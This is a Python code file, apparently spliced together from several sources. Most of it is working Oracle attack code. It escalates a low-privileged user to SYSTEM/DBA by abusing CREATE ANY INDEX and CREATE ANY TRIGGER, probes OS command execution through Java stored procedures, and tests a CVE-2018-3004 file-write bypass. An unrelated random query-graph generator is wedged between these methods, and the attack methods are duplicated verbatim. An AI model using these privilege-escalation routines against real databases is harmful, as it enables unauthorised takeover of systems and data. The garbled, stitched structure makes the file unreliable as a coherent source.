def testAll (self):
'''
Test all functions
'''
command = self.__generateRandomString__()
self.args['print'].subtitle('JAVA library ?')
logging.info("Try to use JAVA in order to execute the following random command: {0}".format(command))
status = self.createClassAndFunctionToExecOsCmd()
if status != True:
self.args['print'].badNews("KO")
else:
data = self.__runOSCmd__ (command,printResponse=False)
if data == '':
logging.info("The system command {0} return no error, it's impossible with this random command".format(command))
self.args['print'].badNews("KO")
else :
self.args['print'].goodNews("OK")
status = self.deleteClassAndFunctionToExecOsCmd()
if status != True:
self.args['print'].info("Impossible to delete functions created: {0}".format(self.cleanError(status)))
logging.info("The attacker can create a Java Stored Procedure. Perhaps he can exploit CVE-2018-3004 ('Oracle Privilege Escalation via Deserialization')...")
self.args['print'].subtitle("Bypass built in Oracle JVM security (CVE-2018-3004)?")
remoteFileName = generateRandomString()
if self.remoteSystemIsLinux() == True:
status = self.createOrAppendFileViaCVE_2018_3004(data=generateRandomString(),remoteFilename='/tmp/'+remoteFileName)
else:
status = self.createOrAppendFileViaCVE_2018_3004(data=generateRandomString(),remoteFilename='%temp%\\'+remoteFileName)
if status == True:
self.args['print'].goodNews("OK")
else:
self.args['print'].badNews("KO")
def testAll (self):
'''
Test all functions
'''
command = self.__generateRandomString__()
self.args['print'].subtitle('JAVA library ?')
logging.info("Try to use JAVA in order to execute the following random command: {0}".format(command))
status = self.createClassAndFunctionToExecOsCmd()
if status != True:
self.args['print'].badNews("KO")
else:
data = self.__runOSCmd__ (command,printResponse=False)
if data == '':
logging.info("The system command {0} return no error, it's impossible with this random command".format(command))
self.args['print'].badNews("KO")
else :
self.args['print'].goodNews("OK")
status = self.deleteClassAndFunctionToExecOsCmd()
if status != True:
self.args['print'].info("Impossible to delete functions created: {0}".format(self.cleanError(status)))
logging.info("The attacker can create a Java Stored Procedure. Perhaps he can exploit CVE-2018-3004 ('Oracle Privilege Escalation via Deserialization')...")
self.args['print'].subtitle("Bypass built in Oracle JVM security (CVE-2018-3004)?")
remoteFileName = generateRandomString()
if self.remoteSystemIsLinux() == True:
status = self.createOrAppendFileViaCVE_2018_3004(data=generateRandomString(),remoteFilename='/tmp/'+remoteFileName)
else:
status = self.createOrAppendFileViaCVE_2018_3004(data=generateRandomString(),remoteFilename='%temp%\\'+remoteFileName)
if status == True:
self.args['print'].goodNews("OK")
else:
self.args['print'].badNews("KO")
def getQuerySubgraph(self,
graphTraversalProbability,
attributeChoiceProbability,
constraintChoiceProbability,
complexity_cap=None):
random.seed(random.randint(1, 999999))
nrChosenAttributes = 0
nrChosenClasses = 0
nrChosenConstraints = 0
schemaGraph = self.schema["graph"].copy()
schema = self.schema["schema"].copy()
class_list = list(schemaGraph.nodes())
weights = [1 / len(schemaGraph.nodes())] * len(schemaGraph.nodes())
# Pick the root class to start the random walk
root_class = random.choices(population=class_list,
weights=weights,
k=1)[0]
# Perform a random walk while we toss a positive outcome of getting a new node
queryClasses = list()
# Initialize attributes dicts of all nodes
for node in schemaGraph.nodes():
schemaGraph.nodes[node]["attributes_show"] = dict()
schemaGraph.nodes[node]["all_attributes"] = dict()
schemaGraph.nodes[node]["constraints"] = dict()
schemaGraph.nodes[node]["chosen"] = 0
currNode = root_class
queryClasses.append(currNode)
alreadyChosenAttributes = list()
nrChosenClasses += 1
schemaGraph.nodes[currNode]["chosen"] = 1
schemaGraphTraversal = schemaGraph.copy()
# Randomly choose the attributes to display for the initial class
while (nrChosenAttributes == 0):
for attr in schema[currNode]["attributes"]:
if attr in alreadyChosenAttributes:
continue
if complexity_cap:
if (nrChosenAttributes >= complexity_cap[0]):
break
chooseAttributeOrNot = numpy_choice(
[0, 1],
p=[
1 - attributeChoiceProbability,
attributeChoiceProbability
])
schemaGraph.nodes[currNode]["all_attributes"][attr] = 1
if (chooseAttributeOrNot):
schemaGraph.nodes[currNode]["attributes_show"][attr] = 1
nrChosenAttributes += 1
alreadyChosenAttributes.append(attr)
# Randomly choose the attributes to constraint for the initial class
# There appears to be a bug in OpenNMT preprocess that doesn't allow the first target sentence to be empty, to we need to enforce that at least one
# constraint is chosen always for this special case (first sentence).
constraintChosen = False
for attr in schema[currNode]["attributes"]:
if attr in alreadyChosenAttributes:
continue
if complexity_cap:
if (nrChosenConstraints >= complexity_cap[2]):
break
chooseAttributeConstraintOrNot = numpy_choice(
[0, 1],
p=[
1 - constraintChoiceProbability,
constraintChoiceProbability
])
if (chooseAttributeConstraintOrNot):
constraintLogic = numpy_choice([
"=", "<", ">", "<=", ">=", "equal to", "less or equal",
"greater or equal", "at least", "at most", "equals", "is",
"greater than", "higher than", "lower than", "less than"
],
p=[1 / 16] * 16)
schemaGraph.nodes[currNode]["constraints"][
attr] = constraintLogic + " " + generateRandomString(
random.randint(2, 10))
nrChosenConstraints += 1
alreadyChosenAttributes.append(attr)
break
chooseNextNode = numpy_choice(
[0, 1],
p=[1 - graphTraversalProbability, graphTraversalProbability])
stopCondition = chooseNextNode
while not stopCondition:
if complexity_cap:
if (nrChosenClasses >= complexity_cap[1]):
break
# Get the edges, nodes and weights from the current node
currentNodeEdges = schemaGraphTraversal.out_edges(currNode,
data=True)
connectNodes = [
x[1] for x in currentNodeEdges if x not in queryClasses
]
# Check that there are at least 1 neighbor, otherwise just try again if we require a uniform as we don't have a complete query, or finish in other case
if (len(connectNodes) == 0):
break
connectWeights = [
1 / len(currentNodeEdges) for x in currentNodeEdges
]
# Choose the next node according to the weights
nextNode = random.choices(population=connectNodes,
weights=connectWeights,
k=1)[0]
if nextNode not in queryClasses:
queryClasses.append(nextNode)
nrChosenClasses += 1
schemaGraph.nodes[nextNode]["chosen"] = 1
# Set weight of the selected edge to 0 so that it is not chosen again
schemaGraphTraversal.remove_node(currNode)
currNode = nextNode
# Randomly choose the attributes to display for the current class
for attr in schema[currNode]["attributes"]:
if attr in alreadyChosenAttributes:
continue
if complexity_cap:
if (nrChosenAttributes >= complexity_cap[0]):
break
chooseAttributeOrNot = numpy_choice(
[0, 1],
p=[
1 - attributeChoiceProbability,
attributeChoiceProbability
])
if (chooseAttributeOrNot):
schemaGraph.nodes[currNode]["attributes_show"][attr] = 1
nrChosenAttributes += 1
alreadyChosenAttributes.append(attr)
break
# Randomly choose the attributes to constraint for the current class
for attr in schema[currNode]["attributes"]:
if attr in alreadyChosenAttributes:
continue
if complexity_cap:
if (nrChosenConstraints >= complexity_cap[2]):
break
chooseAttributeConstraintOrNot = numpy_choice(
[0, 1],
p=[
1 - constraintChoiceProbability,
constraintChoiceProbability
])
if (chooseAttributeConstraintOrNot):
constraintLogic = numpy_choice([
"=", "<", ">", "<=", ">=", "equal to", "less or equal",
"greater or equal", "at least", "at most", "equals",
"is", "greater than", "higher than", "lower than",
"less than"
],
p=[1 / 16] * 16)
schemaGraph.nodes[currNode]["constraints"][
attr] = constraintLogic + " " + generateRandomString(
random.randint(2, 10))
nrChosenConstraints += 1
alreadyChosenAttributes.append(attr)
break
# Decide if we are going to traverse the current node again
stopCondition = chooseNextNode
chooseNextNode = numpy_choice(
[0, 1],
p=[1 - graphTraversalProbability, graphTraversalProbability])
# Clean the graph to get the query subgraph
removeNodes = [
node for node in schemaGraph.nodes()
if schemaGraph.nodes[node]["chosen"] == 0
]
schemaGraph.remove_nodes_from(removeNodes)
#self.displayGraph(schemaGraph)
return schemaGraph
def executeSytemRequestWithCreateAnyIndexMethod(self, privRequest):
'''
Try to execute the privRequest request as System with the CREATE ANY INDEX method
If user = None, user = current user
Returns:
- True if the request has been executed without error
- Exception if error
'''
self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX = "get_dba_create_any_index"
self.INDEX_NAME_FOR_CREATE_ANY_INDEX = "get_dba_create_any_index"
self.CREATE_FUNCTION_FOR_CREATE_ANY_INDEX = "CREATE OR REPLACE FUNCTION {0}(val varchar2) return varchar2 deterministic authid current_user is pragma autonomous_transaction; BEGIN execute immediate '{1}'; return 'TRUE';END;"#{0} procedure name, {1} Request to execute
self.CREATE_INDEX_FOR_CREATE_ANY_INDEX = "CREATE INDEX system.{0} ON system.ol$({1}.{2}(VERSION))"#{0} index name stored in system schema, {1} user, {2} function name to execute
self.INSERT_INTO_FOR_CREATE_ANY_INDEX = "INSERT INTO system.ol$(version) VALUES ('{0}')".format(generateRandomString(12))
user = self.args['user']
logging.info("Trying to drop an old index on the table system.ol$")
self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
logging.info("Trying to create the stored procedure {0} for executing the request '{1}' as SYSTEM with CREATE ANY INDEX method".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, repr(privRequest)))
status = self.__execPLSQL__(self.CREATE_FUNCTION_FOR_CREATE_ANY_INDEX.format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, privRequest))
if isinstance(status, Exception):
logging.info("Impossible to create the stored function named '{0}': {1}".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, self.cleanError(status)))
return status
else :
logging.debug("The stored procedure {0} has been created".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX))
logging.info("Grant execute privilege on {0} to system".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX))
status = self.grantPrivilegeOnObjectToUser('execute', self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, 'system')
if isinstance(status, Exception):
self.dropStoredFunction(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, 'system')
return status
else:
logging.debug('Execute privilege has been granted on the stored function to system')
logging.info("Trying to create the index on system.ol$")
status = self.__execPLSQL__(self.CREATE_INDEX_FOR_CREATE_ANY_INDEX.format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, user, self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX))
if isinstance(status, Exception):
logging.info("Impossible to create the index {0}: {1}".format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, self.cleanError(status)))
self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
return status
else :
logging.debug("{0} index has been created in system schema".format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX))
logging.info("Trying to insert into system.ol$ for executing the request {0} as SYSTEM".format(repr(privRequest)))
status = self.__execPLSQL__(self.INSERT_INTO_FOR_CREATE_ANY_INDEX)
if isinstance(status, Exception):
logging.info("Impossible to insert into system.ol$: {0}".format(self.cleanError(status)))
self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
return status
else :
self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
logging.info("Insertion done. The following request has been executed with SYSTEM privileges: {0}".format(repr(privRequest)))
return True
def executeSytemRequestWithCreateAnyTriggerMethod(self, privRequest):
'''
Try to execute the privRequest request as System with the CREATE ANY TRIGGER method
If user = None, user = current user
Returns:
- True if the request has been executed
- Exception if error
'''
self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER = "get_dba_create_any_trigger"
self.CREATE_STORED_PROC_FOR_CREATE_ANY_TRIGGER = "CREATE OR REPLACE PROCEDURE {0} authid current_user is pragma autonomous_transaction; BEGIN execute immediate '{1}';END;" #{0} procedure name, {1} Request to execute
self.TABLE_NAME_FOR_CREATE_ANY_TRIGGER = "ol$"
self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER = "system"
self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER = '{0}.{1}'.format(self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.TABLE_NAME_FOR_CREATE_ANY_TRIGGER)
self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER = "ol$insert_trg"
self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER = "{0}.{1}".format(self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER)
self.GRANT_EXECUTE_ON_PROC_FOR_CREATE_ANY_TRIGGER = "grant execute on {0} TO {1}"#{0}procedure name, {1} user
self.CREATE_TRIGGER_FOR_CREATE_ANY_TRIGGER = "CREATE OR REPLACE TRIGGER {0} before insert on {1} for each row begin {2}.{3};end;"#{0} Comple Trigger name, {1} complete table name, {2} Oracle user not privileged (PROC), {3} Procedure name
self.INSERT_TABLE_FOR_CREATE_ANY_TRIGGER = "INSERT INTO {0}(CATEGORY) values ('{1}')".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, generateRandomString(length=20))
user = self.args['user']
logging.info("Trying to create the stored procedure {0} for executing the request '{1}'".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, repr(privRequest)))
status = self.__execPLSQL__(self.CREATE_STORED_PROC_FOR_CREATE_ANY_TRIGGER.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, privRequest))
if isinstance(status, Exception):
logging.info("Impossible to create the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
return status
else :
logging.debug("The stored procedure {0} has been created".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER))
logging.info("Trying to grant execute privilege on {0} to {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER))
status = self.__execPLSQL__(self.GRANT_EXECUTE_ON_PROC_FOR_CREATE_ANY_TRIGGER.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER))
if isinstance(status, Exception):
logging.info("Impossible to grant execute privilege on {0} to {1}: {2}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
return status
else :
logging.debug("Execute privilege on {0} to {1} has been granted".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER))
logging.info("Trying to create the trigger {0}'".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER))
status = self.__execPLSQL__(self.CREATE_TRIGGER_FOR_CREATE_ANY_TRIGGER.format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER,
self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER,
user,
self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER))
if isinstance(status, Exception):
logging.info("Impossible to create the trigger {0}: {1}".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
return status
else:
logging.debug("The trigger {0} has been created".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER))
logging.info("Inserting a value in {0} to start the trigger {1}'".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER))
status = self.__execPLSQL__(self.INSERT_TABLE_FOR_CREATE_ANY_TRIGGER)
if isinstance(status, Exception):
logging.info("Impossible to insert data into {0}: {1}".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
self.dropTrigger(triggerName=self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, schema=self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER)
self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
return status
else:
logging.debug('The trigger has been started. The user {0} is DBA now!'.format(user))
self.dropTrigger(triggerName=self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, schema=self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER)
self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
return True
def executeSytemRequestWithCreateAnyIndexMethod(self, privRequest):
'''
Try to execute the privRequest request as System with the CREATE ANY INDEX method
If user = None, user = current user
Returns:
- True if the request has been executed without error
- Exception if error
'''
self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX = "get_dba_create_any_index"
self.INDEX_NAME_FOR_CREATE_ANY_INDEX = "get_dba_create_any_index"
self.CREATE_FUNCTION_FOR_CREATE_ANY_INDEX = "CREATE OR REPLACE FUNCTION {0}(val varchar2) return varchar2 deterministic authid current_user is pragma autonomous_transaction; BEGIN execute immediate '{1}'; return 'TRUE';END;"#{0} procedure name, {1} Request to execute
self.CREATE_INDEX_FOR_CREATE_ANY_INDEX = "CREATE INDEX system.{0} ON system.ol$({1}.{2}(VERSION))"#{0} index name stored in system schema, {1} user, {2} function name to execute
self.INSERT_INTO_FOR_CREATE_ANY_INDEX = "INSERT INTO system.ol$(version) VALUES ('{0}')".format(generateRandomString(12))
user = self.args['user']
logging.info("Trying to drop an old index on the table system.ol$")
self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
logging.info("Trying to create the stored procedure {0} for executing the request '{1}' as SYSTEM with CREATE ANY INDEX method".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, repr(privRequest)))
status = self.__execPLSQL__(self.CREATE_FUNCTION_FOR_CREATE_ANY_INDEX.format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, privRequest))
if isinstance(status, Exception):
logging.info("Impossible to create the stored function named '{0}': {1}".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, self.cleanError(status)))
return status
else :
logging.debug("The stored procedure {0} has been created".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX))
logging.info("Grant execute privilege on {0} to system".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX))
status = self.grantPrivilegeOnObjectToUser('execute', self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, 'system')
if isinstance(status, Exception):
self.dropStoredFunction(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, 'system')
return status
else:
logging.debug('Execute privilege has been granted on the stored function to system')
logging.info("Trying to create the index on system.ol$")
status = self.__execPLSQL__(self.CREATE_INDEX_FOR_CREATE_ANY_INDEX.format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, user, self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX))
if isinstance(status, Exception):
logging.info("Impossible to create the index {0}: {1}".format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, self.cleanError(status)))
self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
return status
else :
logging.debug("{0} index has been created in system schema".format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX))
logging.info("Trying to insert into system.ol$ for executing the request {0} as SYSTEM".format(repr(privRequest)))
status = self.__execPLSQL__(self.INSERT_INTO_FOR_CREATE_ANY_INDEX)
if isinstance(status, Exception):
logging.info("Impossible to insert into system.ol$: {0}".format(self.cleanError(status)))
self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
return status
else :
self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
logging.info("Insertion done. The following request has been executed with SYSTEM privileges: {0}".format(repr(privRequest)))
return True
def executeSytemRequestWithCreateAnyTriggerMethod(self, privRequest):
'''
Try to execute the privRequest request as System with the CREATE ANY TRIGGER method
If user = None, user = current user
Returns:
- True if the request has been executed
- Exception if error
'''
self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER = "get_dba_create_any_trigger"
self.CREATE_STORED_PROC_FOR_CREATE_ANY_TRIGGER = "CREATE OR REPLACE PROCEDURE {0} authid current_user is pragma autonomous_transaction; BEGIN execute immediate '{1}';END;" #{0} procedure name, {1} Request to execute
self.TABLE_NAME_FOR_CREATE_ANY_TRIGGER = "ol$"
self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER = "system"
self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER = '{0}.{1}'.format(self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.TABLE_NAME_FOR_CREATE_ANY_TRIGGER)
self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER = "ol$insert_trg"
self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER = "{0}.{1}".format(self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER)
self.GRANT_EXECUTE_ON_PROC_FOR_CREATE_ANY_TRIGGER = "grant execute on {0} TO {1}"#{0}procedure name, {1} user
self.CREATE_TRIGGER_FOR_CREATE_ANY_TRIGGER = "CREATE OR REPLACE TRIGGER {0} before insert on {1} for each row begin {2}.{3};end;"#{0} Comple Trigger name, {1} complete table name, {2} Oracle user not privileged (PROC), {3} Procedure name
self.INSERT_TABLE_FOR_CREATE_ANY_TRIGGER = "INSERT INTO {0}(CATEGORY) values ('{1}')".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, generateRandomString(length=20))
user = self.args['user']
logging.info("Trying to create the stored procedure {0} for executing the request '{1}'".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, repr(privRequest)))
status = self.__execPLSQL__(self.CREATE_STORED_PROC_FOR_CREATE_ANY_TRIGGER.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, privRequest))
if isinstance(status, Exception):
logging.info("Impossible to create the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
return status
else :
logging.debug("The stored procedure {0} has been created".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER))
logging.info("Trying to grant execute privilege on {0} to {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER))
status = self.__execPLSQL__(self.GRANT_EXECUTE_ON_PROC_FOR_CREATE_ANY_TRIGGER.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER))
if isinstance(status, Exception):
logging.info("Impossible to grant execute privilege on {0} to {1}: {2}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
return status
else :
logging.debug("Execute privilege on {0} to {1} has been granted".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER))
logging.info("Trying to create the trigger {0}'".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER))
status = self.__execPLSQL__(self.CREATE_TRIGGER_FOR_CREATE_ANY_TRIGGER.format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER,
self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER,
user,
self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER))
if isinstance(status, Exception):
logging.info("Impossible to create the trigger {0}: {1}".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
return status
else:
logging.debug("The trigger {0} has been created".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER))
logging.info("Inserting a value in {0} to start the trigger {1}'".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER))
status = self.__execPLSQL__(self.INSERT_TABLE_FOR_CREATE_ANY_TRIGGER)
if isinstance(status, Exception):
logging.info("Impossible to insert data into {0}: {1}".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
self.dropTrigger(triggerName=self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, schema=self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER)
self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
return status
else:
logging.debug('The trigger has been started. The user {0} is DBA now!'.format(user))
self.dropTrigger(triggerName=self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, schema=self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER)
self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
return True